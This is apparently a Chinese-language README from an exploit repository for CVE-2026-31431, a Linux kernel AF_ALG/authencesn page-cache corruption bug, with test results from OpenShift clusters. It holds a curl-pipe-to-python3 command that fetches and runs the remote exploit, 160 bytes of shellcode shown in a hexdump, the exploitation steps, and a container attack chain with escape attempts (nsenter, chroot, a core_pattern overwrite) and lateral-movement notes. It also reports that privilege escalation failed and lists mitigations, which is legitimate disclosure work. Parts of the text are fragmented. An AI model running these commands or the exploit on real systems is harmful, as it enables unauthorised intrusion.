通过 authencesn AEAD 操作导致的 Linux 内核页缓存损坏。
在多个搭载 RHEL 9.6 内核的 OpenShift 4.20.16 集群上进行广泛测试后：
完整详情请参阅综合测试结果部分。
CVE-2026-31431 是 Linux 内核中 authencesn AEAD 加密实现的一个漏洞，允许无特权进程通过 AF_ALG 套接字和 splice() 系统调用操作来损坏可读文件的页缓存。
测试表明： 页缓存损坏可可靠实现，但在我们的测试环境中，RHEL 9.6 内核上不会发生权限提升。
CVSS 评分： 7.8（高危）
受影响范围： 支持 authencesn 的 Linux 内核版本（2017-2026）
公开披露： 2026年4月29日
splice() 系统调用封装/usr/bin/su）curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su
### 从本地文件```bash
python3 exploit.py
su
将会发生的情况：``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation
[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)
**页面缓存验证（确认损坏）：**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1|
00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j<X../b|
00000020 69 6e 2f 73 68 |in/sh|
# Shellcode IS present in page cache ✅
不会发生的情况（基于测试）：```bash
su
id -u
**结论：** 页缓存破坏成功，但权限提升失败。
## 技术细节
### 漏洞
Linux 内核的 `authencesn`（带关联数据的认证加密 - 扩展序列号）实现在其就地操作处理中存在缺陷。当处理通过 AF_ALG 套接字提交的 AEAD 操作时，页缓存页面可能最终进入内核的可写目标散列表。
### 利用技术
1. **创建 AF_ALG 套接字**，使用 `authencesn(hmac(sha256),cbc(aes))`
2. **配置 AEAD 参数**（密钥、认证大小）
3. **打开目标 setuid 二进制文件**（例如 `/usr/bin/su`）
4. **使用 splice()** 将二进制文件读入页缓存
5. **触发就地 AEAD 操作**，导致对页缓存的写入
6. **每次写入 4 字节**的 shellcode
7. **执行修改后的二进制文件**以获取 root 权限
### Shellcode
该漏洞利用使用一段 160 字节的 shellcode，用于修补 `/usr/bin/su`，以实现：
- 跳过密码认证
- 授予 root shell 访问权限
- 保持非特权用户的正常功能
## Python 3.9 兼容性
Python 3.9 及更早版本的标准库中没有 `os.splice()`。此漏洞利用包含一个基于 ctypes 的实现：```python
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
class off64_t(ctypes.c_int64):
pass
libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t
def splice(src, dst, count, offset_src=None, offset_dst=None):
# Wrapper matching Python os.splice() API
...
这使该漏洞利用可在以下环境中运行：
节点配置：
测试结果：``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)
### 测试环境 2：全新 OpenShift 集群（验证测试）
**集群：** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**节点配置：**
- 内核：5.14.0-570.96.1.el9_6.x86_64（与测试 1 相同）
- OpenShift：4.20.16
- SCC：restricted-v2（已验证）
- UID：1000810000（用户命名空间）
- 能力：0x0000000000000000（零）
**测试结果：**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1)
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)
一致性： 跨独立集群实现 100% 可复现的结果
场景 A：使用 hostPath 卷（容器逃逸可能）```yaml volumes:
结果：✅ **容器逃逸** - 修改主机页面缓存（设备 33，Inode 4288）
**场景 B：Restricted-v2 SCC（无 hostPath）**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: [ALL]
结果：❌ 无容器逃逸 - 仅影响容器覆盖层（独立 inode）
关键发现： hostPath 访问（而非 capabilities）是决定容器逃逸的关键因素。
可能原因（需进一步研究）：
读取与执行代码路径
mmap(PROT_READ) 操作mmap(PROT_EXEC) 可能绕过损坏的缓存内存保护
内核版本特定
结论： 内核漏洞真实存在（页缓存损坏已证实），但实际利用受限。
| 系统 | 内核 | 页缓存损坏 | 提权 | 备注 |
|---|---|---|---|---|
| RHEL CoreOS 9.6 |
注意： 测试仅限于 RHEL 9.6 内核。其他发行版/版本上的行为未经验证。
已在运行 RHEL CoreOS 9.4 的 OpenShift 4.20 集群上成功测试。本节记录了命名空间隔离绕过和容器入侵。
⚠️ 重要更正： 初始测试错误地声称可通过 /proc/1/root 访问主机文件系统。这是错误的 - 在隔离容器中，/proc/1/root 指向容器自身的文件系统，而非 OpenShift 工作节点主机。详见 attacks/README.md 中的详细分析。
Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 → Root in Container → Network Reconnaissance → Lateral Movement Attempts
### 阶段 1：命名空间隔离绕过
**漏洞：** OpenShift 内部镜像仓库允许在没有适当 RBAC 强制的情况下进行跨命名空间镜像拉取。
**利用方式：**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications
# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: attack-demo
namespace: user-srickerd
spec:
containers:
- name: stolen-tools
image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
command: ["sleep", "3600"]
EOF
oc apply -f attack-demo.yaml
结果：
openshift/cli 镜像影响： 允许租户间横向移动以及特权工具访问。
部署：```bash
oc exec -n user-srickerd attack-demo -- bash -c " curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 && su "
**结果：**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...
利用后能力：
现实核查 - /proc/1/root 并非宿主机：```bash
stat -c '%i' /tmp/test.txt
stat -c '%i' /proc/1/root/tmp/test.txt
readlink /proc/self/ns/mnt readlink /proc/1/ns/mnt
**容器操作系统详情：**```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)
在容器中创建的脚本（位于 attacks/ 目录中）：
1. 容器侦察（recon.sh - 1425 字节）
2. 横向移动脚本（lateral.sh - 1754 字节）
3. 失败的宿主机利用尝试
host-rootkit.py - 尝试对 /proc/1/root/usr/bin/su 植入后门
modprobe-escape.py - 尝试内核模块逃逸
trigger-rootkit.sh - 触发被植入后门的 su
有关成功与失败尝试的完整分析，请参阅 attacks/README.md。
连通性测试：```bash
curl -k https://kubernetes.default.svc:443/healthz
curl -s https://www.google.com
curl -k https://image-registry.openshift-image-registry.svc:5000/
**横向移动机会：**
- ✅ 完全互联网访问（下载工具、C2 通信、数据外泄）
- ✅ 内部 API 访问（枚举集群资源）
- ✅ 内部镜像仓库访问（镜像投毒攻击）
- ✅ 通过 Pod 网络进行跨节点扫描
### 被阻止的主机逃逸技术
以下技术已尝试但被 OpenShift 安全控制阻止：
**1. nsenter（用户命名空间阻止）**```bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted
2. chroot（需要 CAP_SYS_CHROOT）```bash chroot /proc/1/root /bin/bash
**3. 内核模块加载（无 capabilities + RHCOS 加固）**
- RHCOS 上没有 `insmod`、`modprobe`、`kmod` 二进制文件
- `/lib/modules` 为空（容器优化操作系统）
- `CAP_SYS_MODULE` 不可用
- `/proc/sys/kernel/modprobe` 以只读方式挂载
**4. cgroup release_agent（以只读方式挂载）**```bash
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)
5. /proc/sys 操作（只读文件系统）```bash echo "/tmp/evil.sh" > /proc/sys/kernel/core_pattern
### 我们实际取得的成果
✅ **命名空间隔离绕过**
- 跨命名空间从内部镜像仓库拉取镜像
- 可访问特权容器镜像（openshift/cli）
✅ **容器内页缓存破坏**
- 通过 CVE-2026-31431 修改容器的 `/usr/bin/su` 页缓存
- 确认注入 160 字节 shellcode（在 hexdump 中可见）
- 破坏影响容器文件的读取操作
✅ **来自 Pod 的网络访问**
- 完整的互联网连接（数据外泄、C2、工具下载）
- 内部 API 服务器访问（受 RBAC 限制）
- 内部镜像仓库访问（存在镜像投毒风险）
- 通过 Pod 网络进行跨 Pod 扫描
❌ **权限提升 - 失败**
- 页缓存已破坏，但未获得 root 访问权限
- UID 保持不变（用户命名空间 UID 约 1000000+）
- 无法执行特权操作
- 无法访问 /etc/shadow 或其他受限文件
❌ **宿主机文件系统访问 - 失败**
- `/proc/1/root` 指向**容器**的根目录，而非宿主机
- 无法实际访问 OpenShift 工作节点文件系统
- 脚本部署到容器的 `/tmp`，而非宿主机的 `/tmp`
- 设备/Inode 隔离阻止了宿主机页缓存访问
❌ **完全宿主机逃逸 - 被阻止**
- 用户命名空间隔离有效
- 零能力阻止 nsenter/chroot/宿主机访问
- SCC 阻止创建特权 Pod
- RHCOS 加固阻止模块加载
- restricted-v2 阻止容器逃逸
### OpenShift 安全评估
**有效的控制措施 ✅**
- 安全上下文约束（SCC）- 阻止了容器逃逸
- 用户命名空间 - 将页缓存隔离到容器 overlay
- 零能力 - 尽管存在内核漏洞，仍阻止了宿主机访问
- SELinux 强制 - 保持容器隔离
- 只读 /proc/sys - 阻止了内核操纵尝试
- RHCOS 加固 - 无模块加载能力
**部分有效的控制措施 ⚠️**
- Seccomp RuntimeDefault - 已启用，但允许 AF_ALG 套接字
- 能力丢弃 - 有效，但无法阻止页缓存破坏
**失效的控制措施 ❌**
- 命名空间 RBAC - 允许跨命名空间拉取镜像
- 内核保护 - 容器可访问 AF_ALG 接口
- 系统调用过滤 - 默认 seccomp 未限制 splice()
**总体评估：**
虽然 CVE-2026-31431 是一个真实的内核漏洞，但 OpenShift 的纵深防御方法（SCC + 用户命名空间 + 能力丢弃 + 文件系统隔离）阻止了有意义的利用。该漏洞可破坏页缓存，但无法从 restricted-v2 Pod 实现权限提升或容器逃逸。
### 对 OpenShift 的建议
**1. 阻止 AF_ALG 套接字**```yaml
securityContext:
seccompProfile:
type: Localhost
localhostProfile: profiles/no-af-alg.json
2. 强制镜像仓库 RBAC```bash
oc policy add-role-to-user system:image-puller
--namespace=
**3. 增强的 Seccomp 配置文件**
阻止危险的系统调用：
- `socket(AF_ALG, ...)` - 系列 38
- 将 `splice()` 限制为可信的文件描述符
- 阻止 `init_module`、`finit_module`（如果尚未阻止）
**4. 运行时监控**
对以下情况发出警报：
- 容器中创建 AF_ALG 套接字
- 跨命名空间的镜像拉取
- 可疑的 `splice()` 系统调用模式
- 容器受损指标（意外的 root 进程）
### 完整的攻击文档
有关完整攻击链的文档，包括：
- 利用时间线
- MITRE ATT&CK 映射
- 详细的技术分析
- 所有侦察脚本
请参阅：
- **[attacks/README.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/attacks/README.md)** - 关于有效与无效方法的详细分析
- **[docs/openshift-attack-chain.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/docs/openshift-attack-chain.md)** - 原始文档（包含错误，更正请参阅 attacks/README.md）
## 缓解措施
### 立即执行```bash
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead
阻止创建 AF_ALG 套接字：```json { "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}] }] }
### 内核补丁
应用厂商补丁：
- Red Hat：关注 https://access.redhat.com/security/cve/cve-2026-31431
- Ubuntu：`apt update && apt upgrade linux-image-*`
- 上游：内核 6.x+ 并将 authencesn 回退为原地操作
## 常见问题解答
### 问：这个漏洞利用能让我获得 root 权限吗？
**答：** 不能——基于对 RHEL 9.6 内核（5.14.0-570.96.1）的广泛测试，该漏洞利用能够成功破坏内核页缓存，但无法实现权限提升。执行植入后门的二进制文件后，UID 保持不变。
### 问：我能从受限的 Kubernetes/OpenShift 容器中逃逸吗？
**答：** 不能（使用 restricted-v2 SCC）——页缓存破坏被隔离在容器的 overlay 文件系统中。容器逃逸需要通过 hostPath 或类似卷访问共享的主机资源。restricted-v2 SCC 通过阻止主机资源访问有效防止了逃逸。
### 问：为什么漏洞利用声称“root”但测试显示它不起作用？
**答：** 该漏洞利用代码是基于 CVE 披露和理论分析编写的。我们在 RHEL 9.6 内核上的实际测试显示：
- 页缓存破坏有效 ✅（通过 hexdump 验证）
- 从被破坏的缓存中执行代码无效 ❌（UID 未改变）
这可能是由于：
- 内核版本差异（RHEL 9.6 可能具有防护措施）
- W^X 内存保护强制执行
- 执行与读取内存代码路径不同
### 问：它适用于所有 Linux 内核吗？
**答：** 未知——测试仅限于：
- RHEL CoreOS 9.6（内核 5.14.0-570.96.1.el9_6.x86_64）
- OpenShift 4.20.16 工作节点
在其他发行版/内核版本上的行为尚未验证。原始 CVE 研究条件可能有所不同。
### 问：我是否仍应修补我的系统？
**答：** 是的——绝对应该。即使未实现权限提升：
1. 内核漏洞是真实存在的（页缓存破坏已确认）
2. 在其他内核版本上行为可能不同
3. 使用 hostPath 卷时，容器逃逸是可能的
4. 纵深防御要求消除所有漏洞
5. 未来的研究可能会发现实现代码执行的方法
内核修补是安全必需。
### 问：你们在测试中实际证明了什么？
**答：** 我们在 2 个独立的 OpenShift 集群上进行的全面测试证明了：
✅ **已确认：**
- CVE-2026-31431 内核漏洞可利用
- 可以从无特权容器（零 capabilities）破坏页缓存
- 尽管有 restricted-v2 SCC，AF_ALG 接口仍可访问
- Shellcode 注入成功（在 hexdump 中可见）
❌ **未实现：**
- 权限提升（UID 未改变）
- 从被破坏的页缓存中执行代码
- 从 restricted-v2 Pod 中逃逸容器
- 无 hostPath 时访问主机文件系统
🛡️ **纵深防御有效：**
- SCC + 用户命名空间 + capabilities 丢弃阻止了漏洞利用
- 多层安全措施限制了爆炸半径
- 尽管存在内核漏洞，容器隔离仍然有效
## 安全声明
本仓库记录了一个内核漏洞，用于：
- ✅ 授权的安全测试和研究
- ✅ 漏洞验证和分析
- ✅ 安全意识与教育
- ✅ 防御措施开发
**发现基于：**
- 在授权系统上进行的受控测试
- 多个独立的集群环境
- 全面的验证和可复现性测试
**未经明确授权，请勿在系统上使用。**
## 参考资料
- **CVE：** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **披露：** https://copy.fail
- **内核补丁：** Linux 内核提交（2026 年 4 月 1 日）
- **Red Hat 公告：** https://access.redhat.com/security/cve/cve-2026-31431
## 致谢
- **CVE 发现：** Taeyang Lee（Theori）
- **原始分析：** Xint Code 研究团队
- **漏洞利用实现：** Sean Rickerd
- **全面测试与验证：** Sean Rickerd
- 2 个独立的 OpenShift 4.20.16 集群
- RHEL CoreOS 9.6 内核 5.14.0-570.96.1
- 记录了实际与声称的行为差异
- 验证了 restricted-v2 SCC 的有效性
## 许可证
仅限授权的安全测试和研究使用。使用风险自负。
---
**仓库状态：** 已更新实际测试结果（2026 年 5 月 1 日）
**测试：** 已在 2 个独立的 OpenShift 集群上完成
**关键发现：** 页缓存破坏已确认，权限提升未实现
**建议：** 尽管实际可利用性有限，仍应修补内核
| 测试 | OpenShift 4.20 #1 | OpenShift 4.20 #2 | 状态 |
|---|
| AF_ALG 套接字访问 | ✅ | ✅ | 有效 |
| 页缓存损坏 | ✅ | ✅ | 有效 |
| Shellcode 注入 | ✅ | ✅ | 有效 |
| Shellcode 可见（读取） | ✅ | ✅ | 有效 |
| UID 更改（提权） | ❌ | ❌ | 失败 |
| 代码执行 | ❌ | ❌ | 失败 |
| 容器逃逸（restricted-v2） | ❌ | ❌ | 已阻止 |
| 5.14.0-570.96.1.el9_6 |
| ✅ 是 |
| ❌ 否 |
| OpenShift 4.20.16 工作节点 |
| OpenShift 4.20 容器 | 5.14.0-570.96.1.el9_6 | ✅ 是 | ❌ 否 | restricted-v2 SCC |